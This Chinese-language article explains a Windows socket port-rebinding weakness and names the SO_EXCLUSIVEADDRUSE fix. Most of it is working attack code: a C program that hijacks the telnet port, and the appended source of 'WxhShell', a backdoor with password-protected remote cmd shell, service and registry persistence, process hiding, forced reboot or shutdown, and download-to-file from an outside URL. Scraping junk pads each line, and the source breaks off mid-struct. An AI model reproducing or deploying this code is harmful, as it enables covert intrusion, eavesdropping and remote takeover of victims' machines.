在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
OG5{oH#K s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
P~j#8cH7 #_DpiiS,.Q saddr.sin_family = AF_INET;
{KG}m'lx 3"h*L8No saddr.sin_addr.s_addr = htonl(INADDR_ANY);
uj8saNu y!b2;- Dp bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
t\M6 d6 s<!A<+Sh 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
"V[j&B)P Jh-yIk 这意味着什么?意味着可以进行如下的攻击:
YK/? mj1x w){B$X 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
7nB4(A2[S4 MSCH6R"5 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
*y4DK6OFe *$A`+D9 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
5gf
~/Zr 5iw\F!op: 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
TCp9C1Q4 N3u06 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Vh0cac|X JG;}UuHYM 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
O ~5t[ *$9U/ d 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
"09v6Tx "]eB2k_> #include
ja9u?UbW #include
Mi.#x_ #include
-|V#U`mwF #include
v~OMm\ DWORD WINAPI ClientThread(LPVOID lpParam);
Q&I # int main()
,1I-%6L {
|eRE'Wd0 WORD wVersionRequested;
`+Nv=vk DWORD ret;
'd
N1~Pa WSADATA wsaData;
r5gqRh}+ BOOL val;
Y2VfJ}%Q SOCKADDR_IN saddr;
?b7ttlX{ SOCKADDR_IN scaddr;
u0W6u} 4; int err;
Wrp~OF0k SOCKET s;
_)j\
b SOCKET sc;
N_92,xI# int caddsize;
yV`Tw"p HANDLE mt;
Xm# +Z`|N DWORD tid;
6"_pCkn;c< wVersionRequested = MAKEWORD( 2, 2 );
:?UcD_F err = WSAStartup( wVersionRequested, &wsaData );
%oqKpD+ if ( err != 0 ) {
&Sg]P printf("error!WSAStartup failed!\n");
(g@X.*c8 return -1;
>,Y+ 1 }
!n;3jAl&$ saddr.sin_family = AF_INET;
<<-L,0 `Ij EwKra //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
*SJ[~ B9,39rG/7+ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
jwjLxt saddr.sin_port = htons(23);
;HCK iHC if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
jUD^]Qs {
vVMoCG"f printf("error!socket failed!\n");
m$C1Ea-wnT return -1;
</kuJh\ }
*ELU">!}G val = TRUE;
Y-8BL //SO_REUSEADDR选项就是可以实现端口重绑定的
K Zg NL| if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
O)W+rmToI {
t<dFH}U`w printf("error!setsockopt failed!\n");
XZN@hXc9:v return -1;
T
9`AL }
jW7ffb
`O //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
;o'>`=Y //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
K bQXH!J //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
xq.kH| bH aA$\iFYA if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
P$z%:Q {
;i.MDW^N ret=GetLastError();
tQG'f*4 printf("error!bind failed!\n");
GH':Yk return -1;
5=*i!c
_m }
<#8}![3Q listen(s,2);
+UWv }| while(1)
'C}ku>B_r {
-'O|D} caddsize = sizeof(scaddr);
\A^8KVE! //接受连接请求
LL);Ym9d sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
UU(Pg{DA6 if(sc!=INVALID_SOCKET)
!e<5JO;c {
}Tk:?U{ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
:YRHO| if(mt==NULL)
w;Azxcw {
]O}e{Q> printf("Thread Creat Failed!\n");
XzIC~} break;
i`52tH y_ }
MtwlZg`c3 }
:@5{*o CloseHandle(mt);
=^p}JhQ }
9BP'[SM%), closesocket(s);
gJp6ReZ# WSACleanup();
D5xQ return 0;
CH(Y.Kj- }
M]X!D7 DWORD WINAPI ClientThread(LPVOID lpParam)
D?%[du:V {
B#hvw'} SOCKET ss = (SOCKET)lpParam;
?f9M59(l SOCKET sc;
Ge({sy>X unsigned char buf[4096];
&0f/F:M SOCKADDR_IN saddr;
&u^]YE{ long num;
x~uDCbL DWORD val;
0'f\>4B DWORD ret;
OmkJP //如果是隐藏端口应用的话,可以在此处加一些判断
+5I5 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
G11KAq( saddr.sin_family = AF_INET;
a~@f,bw saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
yp4[EqME saddr.sin_port = htons(23);
p&$PsgR if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Ohgu*5!o {
oMemF3M printf("error!socket failed!\n");
UhDf6A`] return -1;
l?IeZisX }
94O\M
RQ* val = 100;
Z,AY<[/C if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
lO|LvJyx {
BPkL3Ev1V ret = GetLastError();
-rYb{<;ST return -1;
L<oQKe7Q: }
T~$Eh6
D if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Z # {
(Z @dz ret = GetLastError();
MCTJ^ g"D return -1;
D^>d<LX }
W;T0_= if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
,_H H8[& {
/~s<@<1!X printf("error!socket connect failed!\n");
'\d
ldg#P closesocket(sc);
BUwL? closesocket(ss);
0\"#Xa+}8 return -1;
.7
)oWd! }
SIm1fC while(1)
\>*.+?97 {
|J`v
w
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
l
x;87MDs //如果是嗅探内容的话,可以再此处进行内容分析和记录
sZ&6g<8#y //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
ts(u7CJd num = recv(ss,buf,4096,0);
wT19m if(num>0)
LCS.C(n, send(sc,buf,num,0);
'_7rooU9 else if(num==0)
4 a&8G break;
XXX y*/P num = recv(sc,buf,4096,0);
l d#x'/ if(num>0)
M]k Q{( send(ss,buf,num,0);
&+(D< U else if(num==0)
%{IgY{X break;
-1B. A }
#?r|6<4X closesocket(ss);
j7:r8? G closesocket(sc);
\z2y?"\? return 0 ;
#>KiX84 }
:qqG%RB nu+^D$ait >WZbbd- ==========================================================
{5
pK8 @",#'eC" 下边附上一个代码,,WXhSHELL
tA4Ra,-c Oq% TW|a# ==========================================================
:4 z\Q] oB!Y)f6H1 #include "stdafx.h"
li?@BHEf gCsN\z #include <stdio.h>
ox<&T| #include <string.h>
2G-"HOG #include <windows.h>
`WCL-OoZc5 #include <winsock2.h>
Jb$G #include <winsvc.h>
z]hRc8g}d #include <urlmon.h>
?mC'ZYQI #r"|%nOfY #pragma comment (lib, "Ws2_32.lib")
h4KMhr #pragma comment (lib, "urlmon.lib")
2DsP "q79k -,;woOG #define MAX_USER 100 // 最大客户端连接数
gQSVPbzK #define BUF_SOCK 200 // sock buffer
aB (pdW4 #define KEY_BUFF 255 // 输入 buffer
uUx7>algF >G"fMOOkW #define REBOOT 0 // 重启
EpR n,[ #define SHUTDOWN 1 // 关机
QPLWRZu@ h]~FYY #define DEF_PORT 5000 // 监听端口
aqqo>O3 s
%X\A|V& #define REG_LEN 16 // 注册表键长度
Hicd
-' #define SVC_LEN 80 // NT服务名长度
F-o?tU 6RxI9{ry // 从dll定义API
f^QC4hf0 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
x.t&NP^V) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
P}a$#a'! typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
am3JzH typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
#E=8kbD7 i"
u|119 // wxhshell配置信息
=AzkE] struct WSCFG {
05HCr"k int ws_port; // 监听端口
GK,{$SC+= char ws_passstr[REG_LEN]; // 口令
t 3N}): int ws_autoins; // 安装标记, 1=yes 0=no
t@#5
G*
_Q char ws_regname[REG_LEN]; // 注册表键名
44~ReN}` char ws_svcname[REG_LEN]; // 服务名
EI?8/c char ws_svcdisp[SVC_LEN]; // 服务显示名
vvY?8/ char ws_svcdesc[SVC_LEN]; // 服务描述信息
v,Z]Vqk char ws_passmsg[SVC_LEN]; // 密码输入提示信息
(ot56`,k int ws_downexe; // 下载执行标记, 1=yes 0=no
.eVX/6, char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
gn/]1NNfR char ws_filenam[SVC_LEN]; // 下载后保存的文件名
O^./)#!# SfPQ;s' };
, vvfk=- 8Vn // default Wxhshell configuration
wDoCc: struct WSCFG wscfg={DEF_PORT,
c-NUD$ "xuhuanlingzhe",
&@{`{ 1,
wTR?8$ "Wxhshell",
I*o6Bn
|D "Wxhshell",
H'k~; "WxhShell Service",
BB3a8 "Wrsky Windows CmdShell Service",
Rvf{u8W "Please Input Your Password: ",
D2D+S 1,
MD1X1,fk "
http://www.wrsky.com/wxhshell.exe",
K\ B!tk "Wxhshell.exe"
&@|? % };
paN=I=:*M TBJ?8W( // 消息定义模块
euT=]j char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
?(B}w*G~ char *msg_ws_prompt="\n\r? for help\n\r#>";
"38<14V char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
6ZI7V!k char *msg_ws_ext="\n\rExit.";
91&=UUkK? char *msg_ws_end="\n\rQuit.";
M Tl
@#M char *msg_ws_boot="\n\rReboot...";
^)Y3V-@t char *msg_ws_poff="\n\rShutdown...";
(O09HY: char *msg_ws_down="\n\rSave to ";
N
GnE Oz_CEMcy char *msg_ws_err="\n\rErr!";
3;}YW^oXq char *msg_ws_ok="\n\rOK!";
q3/4l%"X yr>J^Et%_ char ExeFile[MAX_PATH];
Ho/tCU|w int nUser = 0;
O\;Lb[`lb HANDLE handles[MAX_USER];
a(O@E%|u int OsIsNt;
H*0g*( CpX[8>&osD SERVICE_STATUS serviceStatus;
{P?DkUO} SERVICE_STATUS_HANDLE hServiceStatusHandle;
txnH~;( t'W6Fmwkx // 函数声明
B[8RBTsA int Install(void);
8R\6hYJ%F int Uninstall(void);
[D+PDR int DownloadFile(char *sURL, SOCKET wsh);
GadY#]}( int Boot(int flag);
V#b*:E.cA void HideProc(void);
]x8Y]wAU&{ int GetOsVer(void);
+U,t*U4, int Wxhshell(SOCKET wsl);
#<&@-D8 void TalkWithClient(void *cs);
xZ2 1iQeN int CmdShell(SOCKET sock);
$?:IRgAr int StartFromService(void);
d@*dbECG int StartWxhshell(LPSTR lpCmdLine);
>zJk G9a yCkWuU9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
O(0a l#Fvj VOID WINAPI NTServiceHandler( DWORD fdwControl );
9dszn^]T mqJD+ K // 数据结构和表定义
Dqwd=$2% SERVICE_TABLE_ENTRY DispatchTable[] =
'#j6ZC/? {
8aRmHy"9l {wscfg.ws_svcname, NTServiceMain},
Bw`? zd\* {NULL, NULL}
^_G#JJ\@$ };
&"tQpw5 3ZSU^v // 自我安装
}*-fh$QJ int Install(void)
CP"5E?dcK {
GpXf).a@ char svExeFile[MAX_PATH];
r?0w5I HKEY key;
dE[X6$H[ strcpy(svExeFile,ExeFile);
&l{ctP%q ^56D)A= // 如果是win9x系统,修改注册表设为自启动
3#udzC if(!OsIsNt) {
d1^5r
31 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^"/TWl>jB RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
*CF80DJ RegCloseKey(key);
H|?r_Ns if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
F [-D
+Nka RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
O7Jp; RegCloseKey(key);
@c8RlW/A return 0;
AoxORPp' }
4TU\SP8sM }
"AMw o(Yi }
bfJ<~ss/ else {
SU7,uxF xK1w->[ // 如果是NT以上系统,安装为系统服务
|4aU&OX SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
5f@&XwD9 if (schSCManager!=0)
9
s2z=^ {
V+0pvgS[ SC_HANDLE schService = CreateService
6,~
% (
/N/jwLr schSCManager,
1#>uqUxah wscfg.ws_svcname,
8BS Nm wscfg.ws_svcdisp,
u,72Mm> SERVICE_ALL_ACCESS,
r`)'Kd SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
+['1~5 SERVICE_AUTO_START,
n^G[N-\3 SERVICE_ERROR_NORMAL,
OaN"6Ge# svExeFile,
^eRbp?H*T NULL,
[["eK9}0 NULL,
] 4*E: NULL,
ph2
_P[S' NULL,
|N^8zo : NULL
3v#F0s| );
T0@<u if (schService!=0)
4|eI_u{_ {
@Y9tkJIt CloseServiceHandle(schService);
5wvh
@Sc\ CloseServiceHandle(schSCManager);
9Z 6 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
hG9Mp!d91 strcat(svExeFile,wscfg.ws_svcname);
vHPsHy7y if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
KUq(&H7 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
^\VVx:] RegCloseKey(key);
]nxSVKE4p return 0;
XK0lv8( }
?LvxEQ-g }
TPN1Rnt0` CloseServiceHandle(schSCManager);
[*ug:PG }
$9Xn.,W }
6k37RpgH Y|-&= return 1;
8k Sb92 }
/(s N@kt ldaT:
er9 // 自我卸载
cft@sY int Uninstall(void)
_t X1z^ {
J6zU# HKEY key;
C6tfFS3bq YcSPU( if(!OsIsNt) {
`RE
K,^U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Q? Xqf7y RegDeleteValue(key,wscfg.ws_regname);
-3y
$j+ RegCloseKey(key);
#V[Os!ns if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
01%0u8U RegDeleteValue(key,wscfg.ws_regname);
gHWsKE
% RegCloseKey(key);
m{yq.H[X return 0;
NeewV=[% }
W{}M${6& }
H,!yG5yF }
K1-3!G else {
sa"!ckh Ob|tA SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Z+Fh I^ if (schSCManager!=0)
,nniSG((3 {
G$lE0_j2{ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
d8^S~7 if (schService!=0)
sg<c1 {
a7z%)i;Z if(DeleteService(schService)!=0) {
Nqj5, 9*c CloseServiceHandle(schService);
JWxSN9.X CloseServiceHandle(schSCManager);
ae+*gkPv8 return 0;
'z};tIOKJk }
c8o2* C$ CloseServiceHandle(schService);
8(-N;<Ef2 }
> mP([] CloseServiceHandle(schSCManager);
AD'c#CT }
hi ),PfAV }
]vCs9* |B GkdxwuRw return 1;
:-+j,G9t }
.7Itbp6=R $j0<ef! // 从指定url下载文件
6s: int DownloadFile(char *sURL, SOCKET wsh)
q:,ck@-4 {
P`n"E8"ab< HRESULT hr;
55Ye7P-d char seps[]= "/";
-wnBdL char *token;
PW*[(VX char *file;
qD}O_<_1ym char myURL[MAX_PATH];
ZP4y35&%y char myFILE[MAX_PATH];
rWuqlx# 1z8fhE iiE strcpy(myURL,sURL);
@l~MY*hp token=strtok(myURL,seps);
A^7}:[s20 while(token!=NULL)
-
SCFWc {
Ec!R3+ file=token;
*,XT;h$'> token=strtok(NULL,seps);
HwBJUr91] }
[ldx_+xa:E Ehtb`Ms GetCurrentDirectory(MAX_PATH,myFILE);
|OBZSk1jp strcat(myFILE, "\\");
<d3a strcat(myFILE, file);
"A}2iI send(wsh,myFILE,strlen(myFILE),0);
pxQh;w send(wsh,"...",3,0);
>6z7.d hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
O6\t_. if(hr==S_OK)
`n%8y I% return 0;
]7%+SH,RdD else
'&iAPc4= return 1;
SrvC34<7 v,)vW5jGI }
vsbD>`I {&)E$M // 系统电源模块
RV6|sN[x> int Boot(int flag)
@?[}\9dW {
|\h<!xR HANDLE hToken;
}H9V$~}@- TOKEN_PRIVILEGES tkp;
-Rr Qv( M_#^zo
"x if(OsIsNt) {
S(5&%}QFQ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
f:/"OCig LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
@@+BPLl tkp.PrivilegeCount = 1;
*> 7Zc tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
#}nDX4jI AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
8FT@TUFb if(flag==REBOOT) {
ZTi KU) if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
G/_9!lE return 0;
Ku] <$uo }
95BRZ!ts else {
xayd_RB 9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
:@sjOY return 0;
TM`6:5ONv }
w?A6S-z }
rPoq~p[Y else {
tD3v`Ke if(flag==REBOOT) {
[O^mG
9 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Q~$hx{foN return 0;
Gq;!g( }
4*_. m9{ else {
$or8z2d1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
9{n?Jy return 0;
|Ht~o(]&&/ }
fTV}IP }
?8@EBPpC q
`^5< return 1;
IM&l%6[). }
4j-%I7 }Uunlz< // win9x进程隐藏模块
+>o}
R?xj void HideProc(void)
J I[9c,N {
bRK[u\, 5$"IUq* HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
T Ue=Yj if ( hKernel != NULL )
LP5@ID2G {
Xe:e./@ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
hGlRf_{ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
h<IPV'1 FreeLibrary(hKernel);
v
L!?4k }
Nd61ns(N 5vqh09-FB return;
>Gi*BB }
}1pG0V4 Id40yER // 获取操作系统版本
{,zn#hU.R int GetOsVer(void)
PitDk
1T {
{qPu}?0 OSVERSIONINFO winfo;
#H/suQZN"g winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
w]Z:Y` GetVersionEx(&winfo);
IRB BLXv7\ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
}C9P-- return 1;
Rkz[x else
szU_,.\ return 0;
'7/c7m/$X< }
W)m\q}]FYz -4nSiI // 客户端句柄模块
J:Ncy}AO int Wxhshell(SOCKET wsl)
s2iL5N|"Q {
@}iY(-V SOCKET wsh;
CxJkT2 struct sockaddr_in client;
EZg$mp1 DWORD myID;
V[r1bF Pvu*Y0_p while(nUser<MAX_USER)
CWS&f
g%o{ {
ca!DZ%y int nSize=sizeof(client);
$z* Y:vFP wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
FW--|X]8 if(wsh==INVALID_SOCKET) return 1;
qQx5n :x/L.Bz handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
*HXx;: if(handles[nUser]==0)
(b>B6W\& closesocket(wsh);
x#,nR]C else
"qv J-Y nUser++;
W<s5rM x }
<c$K3 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Q=Y1kcTOn UfAN)SE" return 0;
!Xf7RT }
?PST.+l eIY![..J/N // 关闭 socket
h!h<!xaclW void CloseIt(SOCKET wsh)
.0f6b {
v'H\KR-; closesocket(wsh);
55]E<2't nUser--;
%_%/ym ExitThread(0);
UCF'%R }
Y; OqdO B$@fE} // 客户端请求句柄
2P4$^G[ void TalkWithClient(void *cs)
;E]^7T {
GtSvb6UNn S,%BhQ[ SOCKET wsh=(SOCKET)cs;
=%+o4\N, char pwd[SVC_LEN];
etkKVr;Kv char cmd[KEY_BUFF];
+1Ua`3dWN_ char chr[1];
-P'KpX:]hd int i,j;
i#W0 'k(aZ" while (nUser < MAX_USER) {
XDcA&cM}p EAi!"NJ if(wscfg.ws_passstr) {
|#_`aT" if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Eggdj+ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
wEJ) h1=)^ //ZeroMemory(pwd,KEY_BUFF);
s`Z'5J;S i=0;
!Al?B9KJ while(i<SVC_LEN) {
22gk1'~dO .S=^) // 设置超时
qe"t0w|U? fd_set FdRead;
7G<v<& struct timeval TimeOut;
us
TPr FD_ZERO(&FdRead);
~Dz`O"X3 FD_SET(wsh,&FdRead);
FSn&N2[D TimeOut.tv_sec=8;
3A>Bnb TimeOut.tv_usec=0;
h8me.=S& int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
WC<K(PP if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
uw,p\:D& GN%|'eU if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
38Bh9>c3 pwd
=chr[0]; mFdj+ &2\
if(chr[0]==0xd || chr[0]==0xa) { eH9Ofhsry
pwd=0; e;ej/)no`
break; ="*:H)
} i1E~ F
i++; f R?Xq@c
}
x."/+/
bO2s'!x
// 如果是非法用户,关闭 socket ohPCYt
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]~H\X":[>
} D3BT>zTGK
rbw5.NU
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JL1z8Nu
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eub2[,
'ixu+.ZL/
while(1) { VkChRzhC
1>"[b8a/
ZeroMemory(cmd,KEY_BUFF); j jLwHJ
h
&R1"
// 自动支持客户端 telnet标准 ,|r%tNh<8$
j=0; byW9]('e
while(j<KEY_BUFF) { E0o?rgfdq
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9< $n'g
cmd[j]=chr[0]; {+V]saYP
if(chr[0]==0xa || chr[0]==0xd) { eXdE?j
cmd[j]=0; _'"whZ)2
break; zj9)vr`7
} /\0rRT
j++; $V0G[!4
} Bl"BmUn
=KctAR;
// 下载文件 5RysN=czA
if(strstr(cmd,"http://")) { <@puWm[p
send(wsh,msg_ws_down,strlen(msg_ws_down),0); >m-VBo
if(DownloadFile(cmd,wsh)) {hmC=j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [_pw|BGp
else !lk
-MN.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s.p4+KJ
} qQ%RnD9
else { (-:lO{@FsC
D;bHX
switch(cmd[0]) { (v'#~ )R_`
-J<{NF
// 帮助 ev}ugRxt|k
case '?': { &eqeQD6
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *49lM;
break; [$<\*d/
} ..5rW0lr
// 安装 (&)PlIi7
case 'i': { 4|#@41\ B
if(Install()) jrKRXS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); UbnX%2TW
else Hido[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1YrIcovi-
break; ZVin+ z
} +6$ |No
// 卸载 ls928
case 'r': { |v6kZ0B<
if(Uninstall()) 7l~d_<h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H`:2J8
else Hv~&RZpe
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dN%*-p(
break; Fzc8) *w
} 8`{)1.d5[
// 显示 wxhshell 所在路径 'kC,pN{->
case 'p': { N-9Vx#i
char svExeFile[MAX_PATH]; Sl!#!FGI
strcpy(svExeFile,"\n\r"); /YLHg5n8+
strcat(svExeFile,ExeFile); R|&Rq(ow"
send(wsh,svExeFile,strlen(svExeFile),0); '[z529HN
break; Q/[g|"
} R'udC}
// 重启 ?m(]@6qa
case 'b': { XDt MFig
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1[g -f,
if(Boot(REBOOT)) @ gv^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); WE*L=_zDS
else { /qd5{%:
closesocket(wsh); h|T_
k
ExitThread(0); %tOGs80_{
} C;UqLMrOI
break; WP5QA8`3
} YcaomPo
// 关机 e` QniTkT
case 'd': { .T63:
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5vmc'Om
if(Boot(SHUTDOWN)) sgGXj7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $\w<.)"#
else { <Pm!#)-g9
closesocket(wsh); ]2 7
ExitThread(0); )43\q Iu\
} Y_gMoo
break; @BfJb[A#
} :< d.
// 获取shell I0qSx{K
case 's': { 0'QX*xfa>
CmdShell(wsh); d5z=fH9
closesocket(wsh); 2&,jO+BqE@
ExitThread(0); 0|J]EsPxu
break; "?X,);5S
} A5\00O~
// 退出 X9-WU\?UC
case 'x': { nqFJNK]a
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ){I0
CloseIt(wsh); 7'~Oai~r
break; ;J>upI
} -91*VBrOd
// 离开 yd|ro G/
case 'q': { Km)VOX[ZZ
send(wsh,msg_ws_end,strlen(msg_ws_end),0);
L* 0$x
closesocket(wsh); a7fFp9l!
WSACleanup(); @,:6wKMc
exit(1); LJc"T)>$`
break; rsaN<6#_^Q
} sy]hMGH:3W
} x_+-TC4IXn
} k',#T932x1
%4QpDt
// 提示信息 ;}dvc7
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s?5vJ:M
Xr
} mp:xR ^5c
} Ct<]('Hm(
KL<,avC/
return; Ym8
V)
} D^Gs_z$['
F%tV^$%
// shell模块句柄 CK"OHjR
int CmdShell(SOCKET sock) GyZpdp!
{ `w_%HVw>"
STARTUPINFO si; f|'0FI
ZeroMemory(&si,sizeof(si)); 1VR|z
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Mp7X+o/
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }`~n$OVx
PROCESS_INFORMATION ProcessInfo; _yRD*2 !;
char cmdline[]="cmd"; gWu<5Y=C
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Iysp)
return 0; c<a)Yqf"]
} *yZ `aKfH
{zTnE?(o`
// 自身启动模式 z}a9%Fb
int StartFromService(void) fjd)/Gg
{ }ip3d m
typedef struct 0g`$Dap
{ p>l:^-N;f
DWORD ExitStatus; I'E7mb<2
DWORD PebBaseAddress; dJjkH6%}
DWORD AffinityMask; M-8`zA2
DWORD BasePriority; KjNA PfL
ULONG UniqueProcessId; @Cml^v@`L
ULONG InheritedFromUniqueProcessId; L"tzUYxg
} PROCESS_BASIC_INFORMATION; zMXQfR
